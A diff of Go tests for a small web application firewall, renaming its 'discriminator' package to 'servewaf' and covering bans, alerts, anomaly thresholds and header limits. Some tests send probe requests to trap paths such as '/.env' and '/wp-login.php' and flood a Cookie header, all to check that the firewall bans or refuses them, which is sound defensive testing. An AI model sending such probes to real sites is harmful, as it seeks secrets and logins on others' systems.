{http.MethodPut, servewaf.BansPath, banOtherClient},
|
||||
{http.MethodDelete, servewaf.BansPath, ""},
|
||||
{http.MethodGet, servewaf.BansPath + "/" + otherClient, ""},
|
||||
{http.MethodPost, servewaf.ClientsPath + otherClient, ""},
|
||||
{http.MethodGet, strings.TrimSuffix(servewaf.ClientsPath, "/"), ""},
|
||||
} {
|
||||
s.admin(e.method, e.path, e.body, http.StatusNotFound)
|
||||
}
|
||||
@@ -118,10 +118,10 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
|
||||
Reason: "probes for logins",
|
||||
}
|
||||
|
||||
wantBans(t, s.admin(http.MethodPost, discriminator.BansPath, banOtherClient,
|
||||
http.StatusOK), want)
|
||||
wantBans(t, s.admin(http.MethodPost, servewaf.BansPath, banOtherClient, http.StatusOK),
|
||||
want)
|
||||
|
||||
line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
line := s.get(client, http.StatusForbidden, requestlog.ActionBanned)
|
||||
if line.BanExpires != requestlog.FormatTime(expires) {
|
||||
t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires)
|
||||
}
|
||||
@@ -129,7 +129,7 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
|
||||
// Its notes count the request it refused.
|
||||
want.Notes.Requests, want.Notes.Refused = 1, 1
|
||||
|
||||
wantBans(t, s.admin(http.MethodGet, discriminator.BansPath, "", http.StatusOK), want)
|
||||
wantBans(t, s.admin(http.MethodGet, servewaf.BansPath, "", http.StatusOK), want)
|
||||
|
||||
// Ten minutes on, lifting the bans on client lifts that one, which is
|
||||
// kept, marked lifted.
|
||||
@@ -138,13 +138,13 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
|
||||
lifted := clk.Now()
|
||||
want.Lifted = &lifted
|
||||
|
||||
wantBans(t, s.admin(http.MethodDelete, discriminator.BansPath+"/"+client, "",
|
||||
wantBans(t, s.admin(http.MethodDelete, servewaf.BansPath+"/"+client, "",
|
||||
http.StatusOK), want)
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
wantBans(t, s.admin(http.MethodGet, discriminator.BansPath, "", http.StatusOK), want)
|
||||
wantBans(t, s.admin(http.MethodGet, servewaf.BansPath, "", http.StatusOK), want)
|
||||
|
||||
// No ban on it is active any more.
|
||||
s.admin(http.MethodDelete, discriminator.BansPath+"/"+client, "", http.StatusNotFound)
|
||||
s.admin(http.MethodDelete, servewaf.BansPath+"/"+client, "", http.StatusNotFound)
|
||||
}
|
||||
|
||||
func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
|
||||
@@ -181,8 +181,7 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
|
||||
want.Expires = &expires
|
||||
}
|
||||
|
||||
wantBans(t, s.admin(http.MethodPost, discriminator.BansPath, body, http.StatusOK),
|
||||
want)
|
||||
wantBans(t, s.admin(http.MethodPost, servewaf.BansPath, body, http.StatusOK), want)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -251,8 +250,7 @@ func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
|
||||
"request body too large",
|
||||
},
|
||||
} {
|
||||
got := s.admin(http.MethodPost, discriminator.BansPath, tc.body,
|
||||
http.StatusBadRequest)
|
||||
got := s.admin(http.MethodPost, servewaf.BansPath, tc.body, http.StatusBadRequest)
|
||||
if !strings.Contains(string(got.body), tc.want) {
|
||||
t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want)
|
||||
}
|
||||
@@ -276,7 +274,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
|
||||
// limit of two a minute, and bans it.
|
||||
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
s.get(otherClient, http.StatusForbidden, requestlog.ActionRateLimited)
|
||||
|
||||
// Asked about by its address in IPv6 form too.
|
||||
for _, addr := range []string{otherClient, "::ffff:" + otherClient} {
|
||||
@@ -285,8 +283,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
|
||||
Bans []state.BanEntry `json:"bans"`
|
||||
}
|
||||
|
||||
decode(t, s.admin(http.MethodGet, discriminator.ClientsPath+addr, "",
|
||||
http.StatusOK), &got)
|
||||
decode(t, s.admin(http.MethodGet, servewaf.ClientsPath+addr, "", http.StatusOK), &got)
|
||||
|
||||
if got.Client == nil {
|
||||
t.Fatalf("%s: no client", addr)
|
||||
@@ -308,15 +305,13 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
|
||||
|
||||
// Of an address no request came from and no ban covers, nothing is
|
||||
// known.
|
||||
got := s.admin(http.MethodGet, discriminator.ClientsPath+"198.51.100.99", "",
|
||||
http.StatusOK)
|
||||
got := s.admin(http.MethodGet, servewaf.ClientsPath+"198.51.100.99", "", http.StatusOK)
|
||||
if string(got.body) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
|
||||
t.Errorf("an unknown client is answered\n%s", got.body)
|
||||
}
|
||||
|
||||
s.admin(http.MethodGet, discriminator.ClientsPath+"203.0.113", "",
|
||||
http.StatusBadRequest)
|
||||
s.admin(http.MethodDelete, discriminator.BansPath+"/203.0.113.0/24", "",
|
||||
s.admin(http.MethodGet, servewaf.ClientsPath+"203.0.113", "", http.StatusBadRequest)
|
||||
s.admin(http.MethodDelete, servewaf.BansPath+"/203.0.113.0/24", "",
|
||||
http.StatusBadRequest)
|
||||
}
|
||||
|
||||
@@ -329,7 +324,7 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
|
||||
})
|
||||
|
||||
for _, e := range adminEndpoints() {
|
||||
s.ownEndpointRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
|
||||
s.adminRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
|
||||
}
|
||||
|
||||
if held := server.Ledger.Snapshot(); len(held) != 0 {
|
||||
@@ -337,40 +332,40 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// adminEndpoint is a request to an endpoint SWW_ADMIN_TOKEN opens.
|
||||
// adminEndpoint is a request to an endpoint SWWAF_ADMIN_TOKEN opens.
|
||||
type adminEndpoint struct {
|
||||
method, path, body string
|
||||
}
|
||||
|
||||
// adminEndpoints returns a request to each endpoint SWW_ADMIN_TOKEN
|
||||
// adminEndpoints returns a request to each endpoint SWWAF_ADMIN_TOKEN
|
||||
// opens: listing the bans, banning otherClient for an hour, lifting the
|
||||
// bans on otherClient, and asking about otherClient.
|
||||
func adminEndpoints() []adminEndpoint {
|
||||
return []adminEndpoint{
|
||||
{http.MethodGet, discriminator.BansPath, ""},
|
||||
{http.MethodPost, discriminator.BansPath, banOtherClient},
|
||||
{http.MethodDelete, discriminator.BansPath + "/" + otherClient, ""},
|
||||
{http.MethodGet, discriminator.ClientsPath + otherClient, ""},
|
||||
{http.MethodGet, servewaf.BansPath, ""},
|
||||
{http.MethodPost, servewaf.BansPath, banOtherClient},
|
||||
{http.MethodDelete, servewaf.BansPath + "/" + otherClient, ""},
|
||||
{http.MethodGet, servewaf.ClientsPath + otherClient, ""},
|
||||
}
|
||||
}
|
||||
|
||||
// admin sends a request with method for path, with body, to discriminator's own
|
||||
// admin sends a request with method for path, with body, to servewaf's own
|
||||
// address, with the admin token, and checks that it is answered with status, its
|
||||
// log line's action own_endpoint. It returns the answer.
|
||||
// log line's action admin. It returns the answer.
|
||||
func (s *sender) admin(method, path, body string, status int) answer {
|
||||
s.t.Helper()
|
||||
|
||||
return s.ownEndpointRequest(adminBearer, method, path, body, status)
|
||||
return s.adminRequest(adminBearer, method, path, body, status)
|
||||
}
|
||||
|
||||
// ownEndpointRequest is admin with authorization as the request's Authorization
|
||||
// header unless it is "".
|
||||
func (s *sender) ownEndpointRequest(
|
||||
// adminRequest is admin with authorization as the request's Authorization header
|
||||
// unless it is "".
|
||||
func (s *sender) adminRequest(
|
||||
authorization, method, path, body string, status int,
|
||||
) answer {
|
||||
s.t.Helper()
|
||||
|
||||
req := newRequest(s.t, method, s.discriminatorAddr, path, strings.NewReader(body))
|
||||
req := newRequest(s.t, method, s.serveWAFAddr, path, strings.NewReader(body))
|
||||
if authorization != "" {
|
||||
req.Header.Set("Authorization", authorization)
|
||||
}
|
||||
@@ -380,7 +375,7 @@ func (s *sender) ownEndpointRequest(
|
||||
|
||||
line := s.out.endedLines(s.t, s.sent+1)[s.sent]
|
||||
s.sent++
|
||||
wantLine(s.t, line, status, requestlog.ActionOwnEndpoint)
|
||||
wantLine(s.t, line, status, requestlog.ActionAdmin)
|
||||
|
||||
return got
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
package discriminator_test
|
||||
package servewaf_test
|
||||
|
||||
import (
|
||||
"maps"
|
||||
@@ -10,15 +10,15 @@ import (
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/servewaf"
|
||||
)
|
||||
|
||||
const (
|
||||
alertWebhookURL = "SWW_ALERT_WEBHOOK_URL"
|
||||
alertMaxPerHour = "SWW_ALERT_MAX_PER_HOUR"
|
||||
alertWebhookURL = "SWWAF_ALERT_WEBHOOK_URL"
|
||||
alertMaxPerHour = "SWWAF_ALERT_MAX_PER_HOUR"
|
||||
// alertInstance is the instance every alert of these tests gives.
|
||||
alertInstance = "fsn1app1/blog"
|
||||
alertInstance = "fsn1app1/gitea"
|
||||
)
|
||||
|
||||
func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
|
||||
@@ -31,14 +31,14 @@ func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
|
||||
start := clk.Now()
|
||||
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionRateLimited)
|
||||
|
||||
netblock := netip.MustParsePrefix("203.0.113.0/24")
|
||||
ban := server.Ledger.Bans(netblock)[0]
|
||||
|
||||
// A request refused under the ban raises no other alert.
|
||||
clk.advance(time.Minute)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
|
||||
|
||||
wantAlerts(t, queue, banAlert(alerts.EventBan, start, client, bans.Ban{
|
||||
Netblock: netblock, Cause: bans.CauseLimit,
|
||||
@@ -62,24 +62,22 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
|
||||
|
||||
// The probe bans the client for seven days, and its next request makes
|
||||
// the ban permanent. The request after that changes nothing.
|
||||
s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned)
|
||||
|
||||
attackBan := server.Ledger.Bans(netblock)[0]
|
||||
|
||||
clk.advance(time.Minute)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
|
||||
|
||||
permanentBan := server.Ledger.Bans(netblock)[0]
|
||||
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
|
||||
|
||||
// Another client's probe after its first ban has run out without a
|
||||
// request makes a permanent ban at once.
|
||||
s.request(otherClient, "/.env", http.StatusForbidden,
|
||||
requestlog.ActionTemporarilyBanned)
|
||||
s.request(otherClient, "/.env", http.StatusForbidden, requestlog.ActionBanned)
|
||||
clk.advance(7 * 24 * time.Hour)
|
||||
s.request(otherClient, "/.env", http.StatusForbidden,
|
||||
requestlog.ActionPermanentlyBanned)
|
||||
s.request(otherClient, "/.env", http.StatusForbidden, requestlog.ActionBanned)
|
||||
|
||||
otherBans := server.Ledger.Bans(other)
|
||||
|
||||
@@ -203,7 +201,7 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
|
||||
// never sent them, and returns the queue they wait in as well.
|
||||
func startWithAlerts(
|
||||
t *testing.T, env map[string]string,
|
||||
) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
|
||||
) (*sender, *clock, *servewaf.Server, *alerts.Queue) {
|
||||
t.Helper()
|
||||
|
||||
return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env)
|
||||
@@ -212,21 +210,21 @@ func startWithAlerts(
|
||||
// startAppWithAlerts is startWithAlerts in front of the app handler.
|
||||
func startAppWithAlerts(
|
||||
t *testing.T, handler http.HandlerFunc, env map[string]string,
|
||||
) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
|
||||
) (*sender, *clock, *servewaf.Server, *alerts.Queue) {
|
||||
t.Helper()
|
||||
|
||||
app := startApp(t, handler)
|
||||
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
|
||||
settings := map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
alertWebhookURL: "https://alerts.example/sww",
|
||||
alertWebhookURL: "https://alerts.example/smallwebwaf",
|
||||
instanceName: alertInstance,
|
||||
}
|
||||
maps.Copy(settings, env)
|
||||
|
||||
addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
|
||||
|
||||
s := &sender{t: t, addr: addr, discriminatorAddr: server.Addr, out: out}
|
||||
s := &sender{t: t, addr: addr, serveWAFAddr: server.Addr, out: out}
|
||||
|
||||
return s, clk, server, queue
|
||||
}
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package discriminator
|
||||
package servewaf
|
||||
|
||||
import (
|
||||
"net/netip"
|
||||
@@ -1,4 +1,4 @@
|
||||
package discriminator_test
|
||||
package servewaf_test
|
||||
|
||||
import (
|
||||
"maps"
|
||||
@@ -13,19 +13,19 @@ import (
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/servewaf"
|
||||
)
|
||||
|
||||
// The anomaly thresholds: the prefix of a scope followed by the end of a
|
||||
// count.
|
||||
const (
|
||||
anomalyClient = "SWW_ANOMALY_CLIENT_"
|
||||
anomalyNet = "SWW_ANOMALY_NET_"
|
||||
anomalyASN = "SWW_ANOMALY_ASN_"
|
||||
anomalyTotal = "SWW_ANOMALY_TOTAL_"
|
||||
anomalyWatch = "SWW_WATCH_"
|
||||
anomalyClient = "SWWAF_ANOMALY_CLIENT_"
|
||||
anomalyNet = "SWWAF_ANOMALY_NET_"
|
||||
anomalyASN = "SWWAF_ANOMALY_ASN_"
|
||||
anomalyTotal = "SWWAF_ANOMALY_TOTAL_"
|
||||
anomalyWatch = "SWWAF_WATCH_"
|
||||
|
||||
requestsPerMinute = "REQUESTS_PER_MINUTE"
|
||||
requestsPerHour = "REQUESTS_PER_HOUR"
|
||||
@@ -35,9 +35,9 @@ const (
|
||||
|
||||
// The other anomaly settings.
|
||||
const (
|
||||
anomalyNetV4Prefix = "SWW_ANOMALY_NET_V4_PREFIX"
|
||||
anomalyNetV6Prefix = "SWW_ANOMALY_NET_V6_PREFIX"
|
||||
watchNets = "SWW_WATCH_NETS"
|
||||
anomalyNetV4Prefix = "SWWAF_ANOMALY_NET_V4_PREFIX"
|
||||
anomalyNetV6Prefix = "SWWAF_ANOMALY_NET_V6_PREFIX"
|
||||
watchNets = "SWWAF_WATCH_NETS"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -73,7 +73,7 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
|
||||
{anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}},
|
||||
{anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil},
|
||||
{
|
||||
anomalyWatch, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet),
|
||||
anomalyWatch, anomaly.ScopeWatch, netip.MustParsePrefix(clientsNet),
|
||||
"the named netblock office, " + clientsNet, map[string]any{"name": "office"},
|
||||
},
|
||||
} {
|
||||
@@ -164,9 +164,9 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
allowed = "192.0.2.7" // in SWW_ALLOW_NETS
|
||||
exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
||||
denied = "192.0.2.20" // in SWW_DENY_NETS
|
||||
allowed = "192.0.2.7" // in SWWAF_ALLOW_NETS
|
||||
exempt = "192.0.2.10" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
|
||||
denied = "192.0.2.20" // in SWWAF_DENY_NETS
|
||||
)
|
||||
|
||||
s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
|
||||
@@ -187,7 +187,7 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
|
||||
{allowed, "/", http.StatusOK, requestlog.ActionForward},
|
||||
{exempt, "/", http.StatusOK, requestlog.ActionForward},
|
||||
{client, "/static/app.js", http.StatusOK, requestlog.ActionForward},
|
||||
{denied, "/", http.StatusForbidden, requestlog.ActionClientDenied},
|
||||
{denied, "/", http.StatusForbidden, requestlog.ActionDenied},
|
||||
} {
|
||||
for range 3 {
|
||||
s.request(sent.from, sent.path, sent.status, sent.action)
|
||||
@@ -319,7 +319,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
|
||||
// kept.
|
||||
geojsURL, _, release := startHeldGeoJS(t)
|
||||
|
||||
var server atomic.Pointer[discriminator.Server]
|
||||
var server atomic.Pointer[servewaf.Server]
|
||||
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
release()
|
||||
@@ -1,4 +1,4 @@
|
||||
package discriminator_test
|
||||
package servewaf_test
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
@@ -15,29 +15,29 @@ import (
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/servewaf"
|
||||
)
|
||||
|
||||
const (
|
||||
// answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time
|
||||
// discriminator has to answer.
|
||||
// servewaf has to answer.
|
||||
answerTimeLimit = 2 * time.Second
|
||||
// defaultLookupWait is the default of SWW_LOOKUP_TIMEOUT.
|
||||
// defaultLookupWait is the default of SWWAF_LOOKUP_TIMEOUT.
|
||||
defaultLookupWait = 800 * time.Millisecond
|
||||
// The header limits SPEC.md gives.
|
||||
cookieLimit = 50
|
||||
headerFieldLimit = 100
|
||||
// cookieHeader is the header the cookie limit counts.
|
||||
cookieHeader = "Cookie"
|
||||
// tooLarge is how discriminator refuses a request over the header limits.
|
||||
// tooLarge is how servewaf refuses a request over the header limits.
|
||||
tooLarge = http.StatusRequestHeaderFieldsTooLarge
|
||||
// silentAbuseIPDBURL is where AbuseIPDB never answers: at the stand-in
|
||||
// that silentGeoJSURL names too.
|
||||
silentAbuseIPDBURL = "silent://abuseipdb/api/v2/check"
|
||||
// that unansweredGeoJSURL names too.
|
||||
silentAbuseIPDBURL = "unanswered://abuseipdb/api/v2/check"
|
||||
// wholeLimit is the percentage of a rate limit that lowers it not at all.
|
||||
wholeLimit = 100
|
||||
// clientsDecision is the CrowdSec decision list holding client alone.
|
||||
@@ -56,7 +56,7 @@ func cookies(count int) string {
|
||||
}
|
||||
|
||||
// fillHeaders adds headers to a question until the checks see total header
|
||||
// fields: all but ClientHeader and PeerHeader, which discriminator removes. Go's
|
||||
// fields: all but ClientHeader and PeerHeader, which servewaf removes. Go's
|
||||
// client sends nothing else but Host, which the limit does not count, once
|
||||
// User-Agent is set.
|
||||
func fillHeaders(req *http.Request, total int) {
|
||||
@@ -70,7 +70,7 @@ func fillHeaders(req *http.Request, total int) {
|
||||
func TestSixteenThousandCookiesAreRefusedWellWithinTheTimeLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startDiscriminator(t, "", map[string]string{wafMode: block})
|
||||
s := startServeWAF(t, "", map[string]string{wafMode: block})
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
||||
|
||||
@@ -81,28 +81,16 @@ func TestSixteenThousandCookiesAreRefusedWellWithinTheTimeLimit(t *testing.T) {
|
||||
t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
|
||||
}
|
||||
|
||||
wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
|
||||
wantDisposition(t, got, tooLarge, servewaf.DispositionDeny)
|
||||
|
||||
line := s.out.requestLine(t)
|
||||
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
|
||||
wantLine(t, line, tooLarge, requestlog.ActionTooLarge)
|
||||
|
||||
if line.DurationCoreRuleSetMS != nil {
|
||||
t.Errorf("the Core Rule Set read the request, for %f ms", *line.DurationCoreRuleSetMS)
|
||||
if line.DurationWAF != nil {
|
||||
t.Errorf("the Core Rule Set read the request, for %f ms", *line.DurationWAF)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHeaderLimitRefusalNamesItsHeuristicCountsAndLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startDiscriminator(t, "", nil)
|
||||
req := s.question(siteA, client, "/")
|
||||
fillHeaders(req, headerFieldLimit+1)
|
||||
do(t, req)
|
||||
|
||||
wantHeuristic(t, s.out.requestLine(t), "header_limits",
|
||||
`{"fields": 101, "fields_limit": 100, "cookies": 0, "cookies_limit": 50}`)
|
||||
}
|
||||
|
||||
func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -148,7 +136,7 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startDiscriminator(t, "", map[string]string{wafMode: block})
|
||||
s := startServeWAF(t, "", map[string]string{wafMode: block})
|
||||
req := s.question(siteA, client, "/")
|
||||
tc.make(req)
|
||||
|
||||
@@ -156,16 +144,16 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
|
||||
line := s.out.requestLine(t)
|
||||
|
||||
if tc.refused {
|
||||
wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
|
||||
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
|
||||
wantDisposition(t, got, tooLarge, servewaf.DispositionDeny)
|
||||
wantLine(t, line, tooLarge, requestlog.ActionTooLarge)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
|
||||
wantDisposition(t, got, http.StatusOK, servewaf.DispositionAllow)
|
||||
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
if line.DurationCoreRuleSetMS == nil {
|
||||
if line.DurationWAF == nil {
|
||||
t.Error("the Core Rule Set did not read a request within the limits")
|
||||
}
|
||||
})
|
||||
@@ -178,16 +166,16 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
|
||||
for _, env := range []map[string]string{
|
||||
{wafMode: off},
|
||||
{wafMode: "detect"},
|
||||
{wafMode: block, "SWW_WAF_EXEMPT_PATHS": "/"},
|
||||
{wafMode: block, "SWWAF_WAF_EXEMPT_PATHS": "/"},
|
||||
} {
|
||||
t.Run(fmt.Sprint(env), func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startDiscriminator(t, "", env)
|
||||
s := startServeWAF(t, "", env)
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
|
||||
wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
|
||||
wantDisposition(t, do(t, req), tooLarge, servewaf.DispositionDeny)
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -195,17 +183,17 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
|
||||
func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startDiscriminator(t, "", map[string]string{wafMode: block, allowNets: client})
|
||||
s := startServeWAF(t, "", map[string]string{wafMode: block, allowNets: client})
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
|
||||
wantDisposition(t, do(t, req), http.StatusOK, discriminator.DispositionAllow)
|
||||
wantDisposition(t, do(t, req), http.StatusOK, servewaf.DispositionAllow)
|
||||
}
|
||||
|
||||
func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startDiscriminator(t, "", map[string]string{mode: observe, wafMode: block})
|
||||
s := startServeWAF(t, "", map[string]string{mode: observe, wafMode: block})
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
||||
|
||||
@@ -216,20 +204,19 @@ func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
|
||||
t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
|
||||
}
|
||||
|
||||
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
|
||||
wantDisposition(t, got, http.StatusOK, servewaf.DispositionAllow)
|
||||
|
||||
line := s.out.requestLine(t)
|
||||
if line.WouldAction != requestlog.ActionRequestHeaderTooLarge ||
|
||||
line.DurationCoreRuleSetMS != nil {
|
||||
t.Errorf("would_action %q and duration_core_rule_set_ms %v, want %q and none",
|
||||
line.WouldAction, line.DurationCoreRuleSetMS, requestlog.ActionRequestHeaderTooLarge)
|
||||
if line.WouldAction != requestlog.ActionTooLarge || line.DurationWAF != nil {
|
||||
t.Errorf("would_action %q and duration_waf %v, want %q and none",
|
||||
line.WouldAction, line.DurationWAF, requestlog.ActionTooLarge)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startDiscriminator(t, "", map[string]string{rateLimitPerMinute: "1"})
|
||||
s := startServeWAF(t, "", map[string]string{rateLimitPerMinute: "1"})
|
||||
ask := func() answer {
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
@@ -237,11 +224,11 @@ func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) {
|
||||
return do(t, req)
|
||||
}
|
||||
|
||||
wantDisposition(t, ask(), tooLarge, discriminator.DispositionDeny)
|
||||
wantDisposition(t, ask(), http.StatusForbidden, discriminator.DispositionDeny)
|
||||
wantDisposition(t, ask(), tooLarge, servewaf.DispositionDeny)
|
||||
wantDisposition(t, ask(), http.StatusForbidden, servewaf.DispositionDeny)
|
||||
|
||||
lines := s.out.requestLines(t, 2)
|
||||
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionRateLimited)
|
||||
}
|
||||
|
||||
func TestTheHeaderLimitsComeAfterTheTrapPathsAndTheRuleFiles(t *testing.T) {
|
||||
@@ -250,19 +237,19 @@ func TestTheHeaderLimitsComeAfterTheTrapPathsAndTheRuleFiles(t *testing.T) {
|
||||
for _, tc := range []struct {
|
||||
name, path, action string
|
||||
}{
|
||||
{"a trap path", "/wp-login.php", requestlog.ActionTemporarilyBanned},
|
||||
{"a block rule", "/blocked", requestlog.ActionBlockedByBlockRule},
|
||||
{"a trap path", "/wp-login.php", requestlog.ActionBanned},
|
||||
{"a block rule", "/blocked", requestlog.ActionRuleBlocked},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startDiscriminator(t, "", map[string]string{
|
||||
s := startServeWAF(t, "", map[string]string{
|
||||
trapPaths: trapPathList, rulesDir: writeRules(t, testRules),
|
||||
})
|
||||
req := s.question(siteA, client, tc.path)
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
|
||||
wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
|
||||
wantDisposition(t, do(t, req), http.StatusForbidden, servewaf.DispositionDeny)
|
||||
wantLine(t, s.out.requestLine(t), http.StatusForbidden, tc.action)
|
||||
})
|
||||
}
|
||||
@@ -272,30 +259,30 @@ func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
